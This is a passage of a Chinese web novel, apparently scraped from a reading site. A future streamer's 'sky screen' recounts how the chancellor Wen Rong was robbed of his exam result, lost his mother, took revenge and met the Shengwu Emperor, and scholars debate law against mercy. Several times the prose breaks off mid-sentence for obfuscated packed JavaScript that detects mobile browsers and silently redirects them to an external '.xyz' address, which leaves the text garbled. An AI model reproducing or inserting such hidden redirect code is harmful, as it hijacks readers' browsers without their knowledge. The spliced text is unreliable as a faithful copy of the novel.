“宰相个屁!”马鹏一把抽回自己的手,然后反手狠狠甩了那下人一个耳光,他恶狠狠地吼道,“只要我砍了他温容两只手,我就不信他还能当得上什么宰相!” 马鹏如今已经是破罐子破摔,觉得自己既然只剩死路一条,那就绝不能让温容好过! 马鹏他爹马大明从外面冲进温家院子时,一进门就听到了自家儿子这句疯狂的话。 他急得立刻扑到儿子马鹏面前,“我儿啊,你可不能做出这等糊涂事来!你若是这样做了,咱们一家哪还有活路可走?!” 马鹏此刻脑子里其实一片乱糟糟。 看到亲爹马大明出现,他顿时就像是抓住了救命稻草一般,双手紧紧地抓住马大明,嚎啕大哭喊道: “爹,我不想死,你救救我吧!我还这么年轻,我怎么可以死啊!你给我姐写信,让她求卫王救我一命吧!” 马大明看着往日意气风发的儿子,如今哭得涕泗横流的模样,也不禁流下了后悔的眼泪。 但面对儿子恳求的话语,他依然没有松口,而是哭着朝儿子道: “鹏儿,事已至此,为父也无力回天,你就认了吧!” 马大明话音刚落,江陵知府吕杨就带着一众衙役,步履匆匆地从外面跑了进来。 吕杨作为江陵的父母官,自然认识马鹏和马大明他们这对父子,甚至之前还没少参加马家办的宴席。 但眼下,他连自己的未来前途如何都无法保证,自然更是需要与马家父子划分出楚河汉界来。 所以,他一看到马鹏和马大明也在院中,立刻就朝身后的衙役一挥手。 衙役们瞬间蜂拥而上,将马鹏和马大明父子都给抓了起来。 马大明看到吕杨,瞬间急着想要张口,但还没等他出声,衙役们就已经拿布堵住了他们父子的嘴。 看到衙役们对自己如此不客气,马鹏顿时更是吓得胆子都快破了,双腿也直接软了下去,还是两边的衙役及时擒住了他的双臂,他这才没整个人滑落到地上。 “滴答”,“滴答”,伴随着滴水声出现的,是恶心的尿骚味。 原来,刚才在温容面前气焰嚣张的马鹏,在被衙役们抓住以后,竟然吓得拉裤子了。 “唰”,一大桶冷水直接泼到了马鹏身上,马鹏被冻得瞬间打了个哆嗦,忍不住怒目瞪向温容他母亲温大娘。 温大娘直接咬牙瞪了回去:“看什么看!你要出恭,就滚回你们马家的茅厕去!别脏了我们温家的地!” 而温容注意到马鹏瞪着自己母亲的眼神后,当即朝旁边站了一步,挡住了马鹏那带着恶意的目光。 看着儿子挡在自己面前的可靠身影,温大娘眼眶不禁红了起来,鼻头也骤然感到一阵发酸 她至今都还记得,上个月乡试成绩公布那天,儿子从外面看榜回来时,那失魂落魄的模样。 她虽然嘴上安慰儿子说再等三年也无妨,但心中却也不免为儿子的落榜感到痛心和惋惜。 没有人比她更了解,温容这些年为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【窃取温相成绩的那个人渣,名叫马鹏,他自身的才学一般,所以每次参加那些文人聚会,都会感觉力不从心】 【虽然他爹为他请了好几个读书人当枪手,每次在他参加文会之前,都会提前为他准备好几篇文会上可能会用到的文章和诗词】 【但宝子们想也知道,会沦落到主动给人当枪手的文人,肯定自身水平其实一般,不然大可以直接去科举应试】 【而因为马鹏在文会上表现出的水平只能说是差强人意,并不能服众,所以慢慢就有人开始怀疑他这个乡试解元是当得名不副实】 【马鹏在得知这一情况后,就又将目光盯上了当时已经被他砍断右手的温相】 【马鹏他自己也知道温相绝对不可能答应成为他的枪手,于是,为了逼迫温相同意,他就绑架了温相唯一的家人,也就是温相的母亲】 【马鹏以温相他母亲的性命作为要挟,逼着温相在当时手伤还未痊愈的情况下,依然得日夜劳心劳神为他创作文章】 “嘭”的一声,温大娘将手中的木桶重重砸在了马鹏的身上。 她眼眶不断滑落泪水,手中紧握着木桶,一下又一下狠狠砸着马鹏,边砸还边怒吼着: “你这个畜生!你简直不是人!你怎么干得出如此残忍的事情来!” 马鹏被两个衙役紧紧扣着胳膊,想躲都无处可逃,瞬间被温大娘打到痛得不断抽气。 17.第 17 章 天幕上,许三九说到这,似乎是想到了什么,她嘴角勾起了一抹轻蔑的笑: 【马鹏那个蠢货,他自以为自己绑架了温相的母亲,便可以万事无忧了。然而,他却低估了温相他母亲对儿子那份厚重又坚定的母爱】 【为了让温相能够配合写文章,马鹏和温相有过约定,允许温相可以每十天和他母亲见一次面,确保双方都平安无碍。而温母在与温相的第二次见面时,却当着温相的面,直接选择了壮烈的撞柱自尽】 【温母不希望自己成为儿子一生的束缚,她想要用自己的死,帮温相重新获得自由】 【而对于温相来说,母亲凄惨地死在自己面前,这是比断了他右手还痛苦的人生打击】 【很多宝子可能不知道,温相自幼就父亲早逝,他是由他母亲一手拉扯长大的孩子】 【温母原来是在江陵郊外的乡下靠种田养家,但在温相8岁那年,村里的私塾先生突然找到她,跟她说,温容天资聪颖,他在私塾里已经是教无可教。那位先生建议温母将温相送到江陵城里的书院就读,这样温容的求学之路也不至于会被耽误到】 【古代人其实和咱们现代一样,都面临着教育、住房和医疗这三座大山】 【江陵城中的书院师资条件优越,自然收费也就低不到哪里去。而且,温相当时年纪还小,也做不到每天在府城和乡下两边来回奔跑。温母为了方便儿子求学,就狠下心,将家中唯一的一块田地给卖了,然后在温相求学的那书院附近租了个小房子】 【温母当时的这个举动,在很多人看来,自然是无法理解。许多知道这事的人,都在背后暗暗嘲笑她,说温母是痴心疯了,竟然觉得一个农户家的孩子能够靠读书来出人头地】 【但温母并没有理会那些嘲讽,她只是希望儿子的才能天赋不要被埋没】 【所以,在温相去书院上课时,她就自己一个人挑着担子在早市卖馄饨,等卖完馄钝回到家后,还时不时接一些帮人浆洗衣服的工作】 【温相将母亲的艰辛全都看在眼里,所以,他最大的愿望就是功成名就以后,让母亲能够享受清福】 【但温母的去世,直接让他的这个愿望彻底破灭了】 【而温母的撞柱自尽,也同样让马鹏感到出乎意料。他以为在温母死后,温容就会拒不配合帮自己撰写文章】 【可是,温容却好似已经死心认命了一般,即使在温母去世后,也依然保持着一天帮马鹏写一篇文章的频率】 【马鹏观察了一段时间,见温容没有任何异状,便慢慢放下了对温容的提防。转眼间,时间就到了第二年的三月,京师即将举行会试】 【窃取了温容乡试解元成绩的马鹏,自然是选择了进京赶考】 【贪心不足蛇吞象,所图甚大的他,甚至还打算借着温相的才华,替自己博取个三元及第的殊荣!】 【因此,他将温相也一起带上了北上进京的船上。然而,就在一天夜里,温相趁着替马鹏讲解文章的机会,他见马鹏放松警惕,直接就对着马鹏的脖子一刀割喉,鲜血瞬间从马鹏的喉间喷涌而出,甚至还飞溅到了温相的脸上】 【守在房间里伺候的马家下人们,吓得差点当场魂都飞了,急忙赶过来想要抢救马鹏,可马鹏却早已经一命呜呼,而温相也趁机翻过窗户,从船上跳进了漆黑的河水中】 【报了杀母之仇的温相,心中彻底没有了牵挂。于是,他跳进河中后,选择了放任自己下沉,希望就此让自己溺亡在水中】 【然而,当他醒来时,却发现自己被人捞上了河边,而且还被个骗子给讹上了】 天幕中,许三九说到这,嘴角忍不住咧出了笑容: 【是的,温相对于咱们盛武帝男神的最初印象,就是一个敲诈人的骗子】 【在我最喜欢的《大盛风华》这部剧里,编剧和导演就按照史实,很生动地还原了盛武帝和温相相识的那段经历】 【我个人很喜欢那一段的剧情,简直是百刷不厌,所以顺便借今天这个机会,分享给还没看过的宝子一起观看】 听到许三九这话,所有正在看天幕的人,瞬间都被勾起了浓浓的好奇心。 而随着许三九话音落下,天幕上的画面也随之发生了变换。 流水潺潺的河岸边,一个相貌雅秀、一看就带着读书人书卷气的年轻书生,正怒目圆瞪着他对面那个英气俊美的年轻男人。 书生神情愤怒,义正言辞地朝年轻男人道:“我是良民,此生绝对不卖身为奴!” 年轻男人闻言,有些痞气地挑了下眉: “谁说我要买你为奴了?我才不花这冤枉钱呢!刚才可是我把你从河里捞出来的,既然是我救了你的命,那从今往后,你这条命自然就该属于我的了!” 气质温文尔雅的年轻书生,听到男人这蛮横霸道的话后,气得顿时脸上更是一片恼怒的神情: “我又没求着你救我!谁稀罕你救我了!” 年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366095|183416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻书生说罢,转身就又要朝河里走去,可还没等他走出两步,他那湿漉漉的衣领就被从后面给扯住了。 书生头也不回,索性直接甩掉了身上的青色外袍,可这次是还没走出一步,就又被人给拽住了后衣领。 书生气得掏出怀中藏着的刀子,转身朝年轻男人挥了挥,大声威吓道: “你再来一次试试,我这个刀可是不长眼的!” 年轻男人听到书生这话后,不仅脸上没有惧色,反而还哈哈大笑了起来。 书生被男人笑得有些羞恼,咬牙怒瞪了他一眼,“你笑什么笑,你别以为我是在吓唬你,我没跟你在开……” “啪”的一下,年轻男人只是抬手轻轻击了下书生的手腕,下一秒,书生还没从手腕的麻痹中反应过来,男人就已经两指夹住了他掉落的刀刃,转而将刀尖对准了书生。 男人笑得一脸自信从容:“这位先生,论玩笔,我可能不如你,但玩刀的话,一百个你加起来,都肯定不如我。” 男人说罢,指尖夹着的小刀,瞬间像是化为一条灵活的银蛇,在指缝间盘绕穿梭,寒光时隐时现,让人看得不由屏息凝神。 年轻书生看着男人那淡定自在的模样,忍不住叹了口气。 他明白自己短期内肯定无法摆脱这个男人了。 书生声音压得很低,很是沮丧地叹息道:“上苍何故如此苛待我,刚出魔窟,就又让我进了狼窝。” 天幕下,皇宫中,鲁王看着天幕里俩人的互动,眼眸中一阵暗喜。 特别是看到“盛武帝”转花刀那段时,他更是激动到感觉体内血液都加快了涌动。 他确实很喜欢玩刀,府中还收藏了许多宝刀,虽然他目前还不会天幕上那“盛武帝”的转刀技术,但他相信,这只是因为他目前还没学过罢了。 而盛昭帝望着天幕上那“盛武帝”的模样,此刻心中则是暗自感到有些疑惑。 虽然这“盛武帝”乃是由他人饰演,但盛昭帝相信,后人在为如此重要的历史人物挑选伶人时,应该会尽量考虑贴近原型。 毕竟,既然盛武帝能够千古流芳,芳名辉映后世,那盛昭帝就不相信,后人手中会没有盛武帝的画像。 可是,在他看过的宗室子弟画像中,他并没有看到过哪个宗室子弟的长相,与天幕上这个“盛武帝”有相像之处。 盛昭帝暗想,难道说,后人之所以挑选那个伶人饰演盛武帝,纯粹是因为那个伶人长相较常人出众? 18.第 18 章 正当盛昭帝在心中暗暗琢磨时,天幕上的画面,发生了新的变换。 简朴陈旧的客栈中,客人稀稀朗朗。 年轻男人坐在一张木桌旁,他从荷包里掏出一串铜钱,抛到了坐在他对面的书生面前: “把这钱拿去城门口那的李记烧饼铺子,全买成葱油饼回来。” 书生扫了一眼那串铜钱,大概有五十文的样子。 他抬眸看向男人,声音冷冷: “你就不怕我拿了这钱后,直接跑了?” 男人端着茶杯,不紧不慢地喝了口茶,然后才笑着道:“你这几天又不是没跑过,现在不还是照样老老实实坐在我面前。” 显然,书生在过去几天里,依然没有放弃逃跑的念头,只是都失败了而已。 而书生听到男人这话后,望着男人的眼神,更是瞬间多了几分打量和审视: “你到底是谁?为什么我无论逃到哪里,你永远都能找到我的踪影?我不过就是一个断了手的无用废人,对你毫无价值可言,你怎么就是不肯放了我?” “你是不是废人我不知道,但你爱说废话倒是真的。”男人嫌弃地朝书生挥了挥手,“赶紧拿了钱去办事,那家烧饼铺子的生意红火得很,你如果再不去,那葱油饼指不定就要被卖光了。这样的话,你明天还是得再跑一趟。” 书生见男人丝毫不搭理自己的问题,反而还催着自己赶紧去跑腿,气得忍不住左手握成了拳。 他噌一下子站起身,抄过桌上的那一串钱,瞪着男人骂道: “买五十文的葱油饼,你别吃得撑死了!” 他说罢,拿着钱转身就朝客栈门口走去。 男人对此,只是轻笑了一声,显然对书生的话并不以为意。 随后,天幕上显示,书生穿过大半个城池,从客栈来到城门附近的烧饼铺子,他排了好一会队伍,才终于买到了葱油饼。 烧饼铺子的老板听说他一口气要买五十文的葱油饼时,也惊了一下,还特意询问他,是否没有说错。 书生面对老板,语气倒是变得温和了许多,他表示说自己没说错,让老板只管按照五十文的总价来拿饼就行。 一个葱油饼两文钱,书生一口气买了二十五个葱油饼,直接把烧饼铺子剩下的所有葱油饼都给包圆了。 等他提着葱油饼重新回到客栈时,他已经是累得满头大汗。 但即使是这样,为了不让自己在男人面前丢脸,他在进入客栈之前,还是特意用衣袖擦了擦脸上的汗水,佯装出一副从容的模样,才走进客栈。 他走到男人坐着的桌子旁,把提着的烧饼放到桌上,正想坐下歇会脚时,男人却突然站了起来。 书生眼神疑惑地看着男人,而男人拎上那些葱油饼后,却是径直朝外走。 书生想了想,也立刻跟了上去。 然而,男人走到客栈门口后,却是直接将葱油饼都洒到了地上。 书生看到男人这个举动,顿时怒不可遏。 可还没等他开口质问男人时,蹲在客栈对面的那些小乞丐们,却是一窝蜂就涌了上来,争抢着从地上捡起那些已经沾上泥土的葱油饼。 书生望着眼前这一幕,沉默了片刻。 随后,他转头看向男人,问道:“既然你要给他们,那为什么就不能好好给他们呢?” 男人闻言,轻笑了一声,“你觉得,如果这烧饼是干干净净给到他们手中的,他们这些小乞丐能保得住?” 听到男人这话,书生不禁拧起了眉头,而就在这时,客栈的掌柜也从柜台里走了出来,来到门口处。 他笑着朝书生道:“这位客官,您有所不知,您的友人他前几天就给过一回了,而且还是给的猪肉烧饼,但很快就被这附近其他馋嘴的孩子叫来家里大人给抢走了。” 掌柜看着客栈门前乞儿们争抢葱油饼的画面,不禁也叹了口气: “现在这葱油饼在地上滚过一圈,弄脏以后,反倒是能成为这群小乞丐接下来几天的伙食了。” 书生听到他这感慨后,眸中霎时间充满了对乞儿们的悲悯。 “掌柜的,买单,算下我们那一桌要多少钱。” 听到男人这话,掌柜笑着摆了摆手:“算了,你们那桌就点了两碗素面,也要不了几个铜板,就当作是我请你们吧。” 男人闻言,也笑了起来:“那我就多谢掌柜你的好意了,等下次我要是有机会再经过这边,我保准在你们店里点上一桌丰盛的!” 男人话音落下后,天幕中传来了许三九的声音: 【嘿嘿,插句题外话,我们盛武帝男神后面在登基以后,巡游到这边时,确实还专程来了这家客栈一趟哦】 【史书上记载,那客栈掌柜在得知了盛武帝的身份以后,激动到都当场晕厥了过去,还是太医给他扎了两针,他这才恢复了意识】 天幕下,温容看着画面中那走在书生身旁的男人,心中不禁充满了好奇与探究。 盛武帝的一系列行为举动,都大大超乎了他的预料。 他怎么都没有想到,那样身份尊贵的一个人,眼中竟然还能看到那连温饱都无法保证的乞儿。 甚至就连闲谈时和百姓随口许下的诺言,盛武帝也都不曾忘记。 可以说,盛武帝和他认知中的那些勋贵,都完全不一样。 江陵知府吕杨此刻还依然留在温容家中。 见天幕上目前只是两个人走路的画面,他急忙见缝插针地朝温容说道: “温解元,你放心,待本官把这两个贼人抓回府衙后,本官绝对会严查乡试舞弊此事,帮你讨个公道回来!” 温容其实知道吕杨从前和马鹏家关系不错,毕竟马鹏以前在书院时,没少炫耀说自己和知府认识的事情。 不过,面对吕杨这话,他还是轻轻点了点头,客气道:“劳烦知府大人费神了。” 吕杨脸上带着明显讨好的笑,“温解元客气了,这都是本官应该做的份内事!” 天幕上,男人带着书生穿过热闹的街道,慢慢走到了一处河岸边的渡口。 这时,一个白发苍苍的老艄公,撑着船靠了过来。 当看到那艄公仅用一只手撑篙,而左手衣袖却空荡荡,随着微风一晃一晃时,书生的神情明显怔楞了一下。 “两位后生,你们是要坐船过河吗?一个人一文钱。”老艄公笑着朝男人和书生说道。 男人脸上也露出笑容,“老人家,我们不过河。您这船可以租吗?我想租用它一天。” “租船?”老艄公神情疑惑。 “对,您要是同意的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371562|183416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻烦就开个价吧。” 老艄公虽然搞不懂男人的想法,但见男人似乎并不像在开玩笑的模样,便语气不确定地道: “我在这一天能大概赚个五十文钱,再加上把船借给你们用,那收你们七十文钱可以吗?” 男人掏出荷包,从里面拿出了两串钱,他递给老艄公,笑着道: “老人家,我直接给您一百文钱吧,剩下那三十文就当作是我们今天打扰您的费用。” 一下子比预期中多赚了三十文钱,老艄公顿时乐得满脸笑意,额头斑驳的皱纹霎时间更是都舒展开了。 不过,在把船交给男人之前,他也朝男人叮嘱了一番: “后生,等你们用完这船后,把它停在这渡口边就好了。不过,你们可注意千万别弄坏了这船,我往后还得继续靠这老伙计来渡河养家呢。” 男人点了点头,“好的,老人家,您就放心吧。” 等老人家乐呵呵地下船离开后,男人直接就将撑船的竹篙塞到了书生怀里。 “来吧,连老爷子都能划得动船,你这个年轻力壮的小伙子,应该不至于做不来吧?” 书生没想到男人租下船来,竟然是想让他来划船,他有些忿忿地回道: “你看着和我差不多年纪,为什么不是你来撑船?” 男人脸上瞬间露出一个得意的笑:“因为你这条命是属于我的,那肯定是你来帮我划船啊。” 书生听到男人这话,顿时又是气得不行,但却也没把竹篙扔回去,而是默默上了船。 刚才老艄公撑船过来时,虽然只用一只手撑篙,但看起来却是一副轻松容易的模样。 可等书生自己亲自上船一试,他这才感受到了这事的艰难。 他手忙脚乱了好一会,竹船才开始慢慢飘离渡口。 “喂,你要去哪里,你总得先跟我说一声吧!”书生朝惬意地半躺在船上的男人喊道。 男人眼眸半眯:“你划着先,等什么时候该下船了,我自然会跟你说一声。” 书生一听男人这话,越发觉得男人像是在捉弄自己。 他气得咬牙瞪了男人一眼,但还是默默地撑起了竹篙。 只有左手能用的他,在撑船过程中,不由又想到了刚才那个同样断了一只手的老艄公。 天幕的一角浮现出老艄公那衰老的模样,同时也响起了书生此时的内心疑惑: “他当年第一次撑船时,也是像我这般感觉处处不得力吗?” “喂,你该下船了!” 男人骤然响起的说话声,打断了书生的思绪。 书生以为男人是打算靠岸了,他撑起竹篙,正打算往岸边划时,下一秒,男人长腿一蹬,直接将他给“扑通”一下踹进了河中。 虽然自己会游泳,且手中还抓着根竹篙,但猝不及防被人踢进河里这事,还是让书生简直要气疯了。 他游在河里,朝船上的男人大声怒骂道: “你这个疯子,你是不是有病?我哪里得罪你了吗?你做什么踹我下河?!” 男人站在船上,笑望着河里的书生: “你之前不是一直想着跳河吗?现在我好心帮你一把,你怎么反倒是生气起来了?” 书生被男人这番话给问住了,一时间竟哑口无言。 19.第 19 章 “我生平最讨厌的一类人,就是自寻短见的人,但你知道我为什么这次会多管闲事吗?” 冰冷的河水中,书生紧绷着脸,但还是顺着船上男人的话,出声问道:“为什么?” “你应该不知道,在我把你从河里捞出来后,你虽然人昏迷不醒,但嘴上却一直喃喃喊着娘。我当时就想,能够让一个儿子如此惦记的母亲,肯定是一个伟大的母亲。” “所以,在你醒过来后,看到你又想要自寻短见,我便觉得,看在你母亲的份上,我应该试着看能不能让你改变想法。这是出于我对一个母亲的敬意,而并不是对你本人的在乎。” 当从男人口中听到自己母亲时,书生脸上的神情顿时变得很是复杂。 愧疚、落寞与自责等各种情绪,都竞相出现在了他的双眸中。 他借着竹篙的浮力,沉默地飘在河水中。 半晌后,男人低沉磁性的声音响了起来: “怎么样,想好了没有?还想活下去的话,就上船来!不然的话,就给我游远点,别死在我跟前!” 书生只有左手能使得上力,再加上全身衣物都湿透了,所以他上船的动作很是狼狈,看着甚至还有些搞笑。 但即使是这样,他也依然靠自己的努力,重新爬上了男人所在的那条船。 等到他成功上船以后,他已经是累得精疲力尽,躺在船上不断地喘着粗气,但经过休息以后,慢慢的,他的呼吸也变得均匀了下来。 躺在竹船上的书生,睁眼望着一望无垠的湛蓝天空,他双眸不断流下泪水,无声地释放着积压在心中许久的悲伤。 男人没有看他一眼,只是撑着篙,慢慢将船往回划。 等到船停靠在原来那个渡口后,看到男人跳下船,书生急忙从船上爬了起来,朝男人的背影喊道: “喂,你要去哪里?” 男人头也不回,朝他摆了摆手:“我救你的那条命,你刚才在河里已经还给我了。我们两清了,你往后自由了!” 看着男人慢慢远去的背影,书生一咬牙,也从船上跳了下来,快步追赶上了男人。 男人疑惑地侧头看向书生,书生一副生怕男人赶走自己的模样,硬着头皮道: “谁说我们两清了?既然你救了我的命,那我的命从此就是属于你的了!” 见男人没说话,书生又急忙补充道: “你放心,我已经想明白了,我一定要活出个人样来,以告慰我娘的在天之灵。比我年幼的乞儿,衣食不饱都照样能咬牙活下去;比我年迈的独臂艄公,每天都能坚持靠撑船渡人来为生。我的情况事实上比他们好太多了,我更不应该,也没有资格放弃掉我的生命!” 随着书生话音的落下,天幕上的电视剧画面慢慢消失,重新切回到了许三九的现代画面。 许三九一脸感慨的模样: 【实话实说,三九我每次生活里遇到重大挫折时,就真的很喜欢翻出这一段来反复观看,然后借此激励自己重新振作起来】 【我有时候看关于盛武帝和温相他们的相关史书记载时,甚至都会忍不住叹息,感慨自己没能和他们生在同个时代,不然说不定就能亲眼见证他们这对挚友惊才绝艳的一生】 天幕下,京师最好的酒楼清风楼,此刻窗边的位置都站满了观看天幕的人。 今天正好是国子监的监生们在清风楼组织了一场文会,所以天幕上播出的内容,自然是引起了一众士子的讨论。 科举公平对于士子们而言,毋庸置疑是极其重要的事情。 所以,在看到马鹏竟然窃取了温容的乡试解元成绩后,许多士子当场就愤怒得不行,对着马鹏是一顿痛批,连带着卫王,也遭到了不少人的指责。 而对于盛武帝与温容的相识经过,许多士子则是看得一阵心生向往。 长太息以掩涕兮,哀民生之多艰。* 饱读圣贤书的士子们,如此都未踏上官场,因此大多还都抱有一颗忧国忧民、心系苍生的赤子之心。 而盛武帝在天幕上的种种表现,让许多士子都发自内心觉得,这就是他们在圣贤书上看到的那种贤明君王。 对于盛武帝,众多士子都是持支持的赞赏态度。 但对于温容,大家的观点则出现了分歧。 因着天幕刚才的剧透,大家都知道温容乃是今年江陵会试的考生。 也就是说,如果没有马鹏从中作梗的话,温容本该在明年三月份的京师会试中,和他们同场竞争。 虽然士子们现在还无法确定温容的状况如何,是否还能参加明年的会试,但从许三九刚才的言论中,所有人都能看出温容的才能有多卓尔不群。 所以,很多人虽然对温容遭遇科举舞弊的事情感到同情,但心中,也同时对温容产生了几分警惕。 而就在这时,今年的京师乡试解元唐桂贤突然开了口,朝身边的其他士子们说道: “你们说,在那段历史中,温容可否有将他杀了人的事情告知给盛武帝知道?” 士子们乍一听到唐桂贤这话,也都楞了一下。 随即,有个士子小声道:“应该没有吧?按照大盛律例,犯罪者不可为官。若是盛武帝知道他杀过人的事情,又怎么会让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377435|183416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他官至宰相?” 唐桂贤简单一句话,就让现场的气氛骤然间变得微妙了起来。 “唐兄,那照你的意思,温容他杀马鹏,还杀错了是吗?” 听到突然有人跳出来质疑自己,唐桂贤朝声音方向望去,见是江南的士子之首吴淮,他心中顿时暗暗咒骂了一声。 自打各地乡试结果出炉后,各地的举人便纷纷提前进京,打算在京师备考明年的春闱。 吴淮正是松江府的乡试解元,他在江南地区颇有才名,之前人还没到京师时,京师这边的士子们就都已经听说了他这个人的存在。 而在他进京以后,更是带着江南那边的士子们,没少在文会上和京师这边的士子打擂台。 唐桂贤虽然是京师今年的乡试解元,但在才学上,到底是不如吴淮博学多闻,所以每次对上吴淮,都是略输一筹。 唐桂贤向来是心高气傲、嫉妒成性,所以每次输给吴淮后,他面上虽摆出谦逊模样,但实际心中却是恨吴淮恨得咬牙切齿。 眼下见吴淮还跳出来挑自己的事,他心中更是恼怒得不行,但面上却还是作出一副从容模样,朝吴淮说道: “吴贤弟,你误会我的意思了。我知道马鹏他罪大恶极,但我大盛又不是无法可依。我也很同情温容他那样的遭遇,但杀人就是杀人,终究还是违反了我大盛的律法。” 唐桂贤一脸义正言辞:“乱国法而国不危者,未尝有也。吾辈既饱读圣贤之书,更须以身作则,遵守国法纲纪!”* 听到唐桂贤这番话,周围的士子们都交头接耳,小声讨论了起来。 不少人更是目光灼灼地看向吴淮,想知道他会如何回应唐桂贤。 而吴淮对于唐桂贤搬出的这些大帽子,却是直接嗤笑了一声。 他环视了一眼周围,朗声说道: “诸位可知否,我大盛朝各府县衙门的大堂上,悬挂着的乃是‘天理国法人情’这块匾额!没错,按照大盛律法,杀人者确实是该以身偿命!但除国法之外,这世间还有天理和人情!” “何为天理?何为人情?” “天理是善有善报,恶有恶报!人情是世俗民情、人心公道!” 吴淮说话掷地有声:“让温容在杀了马鹏以后,还要求他替马鹏偿命,这叫天理吗?这是顺应民心吗?” “我再试问一句,你们谁在温容那样的情况下,还能做到冷静面对马鹏那样的畜生?如果做不到的话,又凭什么去苛求温容?” 吴淮这番话说完,酒楼里霎时间鸦雀无声。 一众士子脸上都露出了若有所思的神情。 20.第 20 章 唐桂贤本来只是出于对温容的嫉妒,这才故意挑起对温容的质疑。 他怎么都没想到,吴淮竟然会为了素未谋面的温容,突然跳出来和他对着干。 而吴淮说出的那些话,也确实让他一时间竟有些招架不住。 他只能硬着头皮,装作大义凛然的模样,朝吴淮说道: “法不严则不治,令不行则不严。天幕上那位温容的遭遇固然让人惋惜,可若是因为他个人的小利,而忘了律法的大义,往后又怎能使天下百姓服众?”* 唐桂贤的这番话,说得也在理。 注意到部分士子赞同地点了点头,显然是被自己的话给说服了,唐桂贤心中顿时一阵得意,觉得自己是占了上风。 可吴淮在听到唐桂贤的话后,却是瞬间越发恼火。 他直接就朝唐桂贤开怼道: “你少动不动就拿百姓来说事,百姓可没有你想的那么愚昧和是非不分!” “孟相当年在我家乡松江府任知府时,曾经就审过这么一桩案子,那歹徒深夜翻墙潜进一户人家屋中,意图侵犯那家的寡母。谁知寡母的儿子正巧从外地赶回家中,目睹母亲遭遇危险,他愤起和歹徒争斗,却意外失手打死了歹徒。” “寡母为了帮儿子脱罪,便主动到官府自首,说人是她动手杀的。可孟相到现场勘查过后,却发掘出了真相,将寡母的儿子带回到了府衙关押。” “这个案子当时在我们松江府闹得沸沸扬扬,大家都觉得那寡母的儿子很是冤枉。那对母子他们所在村子的村民,甚至还全村联名给孟相写了一封求情信,恳求孟相法外开恩。” “按照我大盛律例,那寡母的儿子确实该判死刑,但在衙门开堂当日,孟相却直接判了他无罪当场释放!” “孟相当时在判决书上那样写道,‘法不察民之情而立之,则不成。今日判其无罪,乃是顺应天理,合乎人心’。” * “而在他治下的那三年里,松江府百姓安居乐业,命案数量更是相较从前减少了近一半!” 吴淮目光望向唐桂贤,直接挑明说道:“从孟相的举措和后续影响来看,你刚才口中所担忧的那些,并不会成为现实!” 吴淮这番话,直接将胡搅蛮缠的唐桂贤,给说得哑口无言了。 他能公然跳出来说孟谦当年在松江府那样判案不对吗? 连他爹堂堂吏部尚书,都尚且不敢做出如此出格的举动来! 他一个尚未出仕的举人,又有何资历去置喙孟相当时的判决? 更何况,他还是孟相的准孙婿。 他若是敢公然在这里对孟相当年的判决提出异议,那会招致非议的人是他,而并非孟相这个长辈。 唐桂贤一时间脸上表情讪讪,充满了肉眼可见的尴尬。 而他与吴淮的这番争执,全被楼上雅间里的人听在耳中。 “这个叫吴淮的人,他是不是脑子有病啊?” 孟雪琪一脸恼怒,替唐桂贤打抱不平道: “桂贤哥哥说的是那个温容,又不是他,他干什么要跳出来惹是生非?” 孟雪琪昨天才刚解除监禁,被从孟家的祠堂被放出来,但一听说国子监这边的士子要在清风楼举办文会,她就立刻心痒难耐,想过来看热闹。 同时,为了不引人注目,她还特意喊上了孟家的其他年轻女孩,摆出一副只是来出门散心的架势。 孟雪姝此刻就坐在孟雪琪的斜对面,她早就看出孟雪琪来清风楼,其实是冲着唐桂贤而来。 所以,看到孟雪琪为着唐桂贤的事情那般愤怒,她也丝毫不感到意外。 不过,她淡定平静的神情,看在孟雪琪眼中,却成了过错。 孟雪琪不满地望了一眼孟雪姝,语气中带着明显的质问意味: “你可是桂贤哥哥他未过门的妻子,你看到他被人故意刁难,难道都不会替他感到担心的吗?” 孟雪姝抬眸瞥了一眼孟雪琪,语气意味不明: “担心他的人有很多,他需要我来为他担心吗?” 孟雪琪听到孟雪姝这话,直接就忿忿不平地冷哼了一声: “你可真是心肠冷硬!我实在搞不明白,唐伯伯怎么就偏偏为桂贤哥哥安排了你这样冷血的婚约对象!” 孟雪姝懒得搭理孟雪琪发疯。 她有时候真的觉得上天实在爱捉弄人。 她对唐桂贤这个婚约对象毫无感情,且经过刚才的事,更是越发觉得此人虽有京师第一才子的盛名,但实则是个薄情寡义之人。 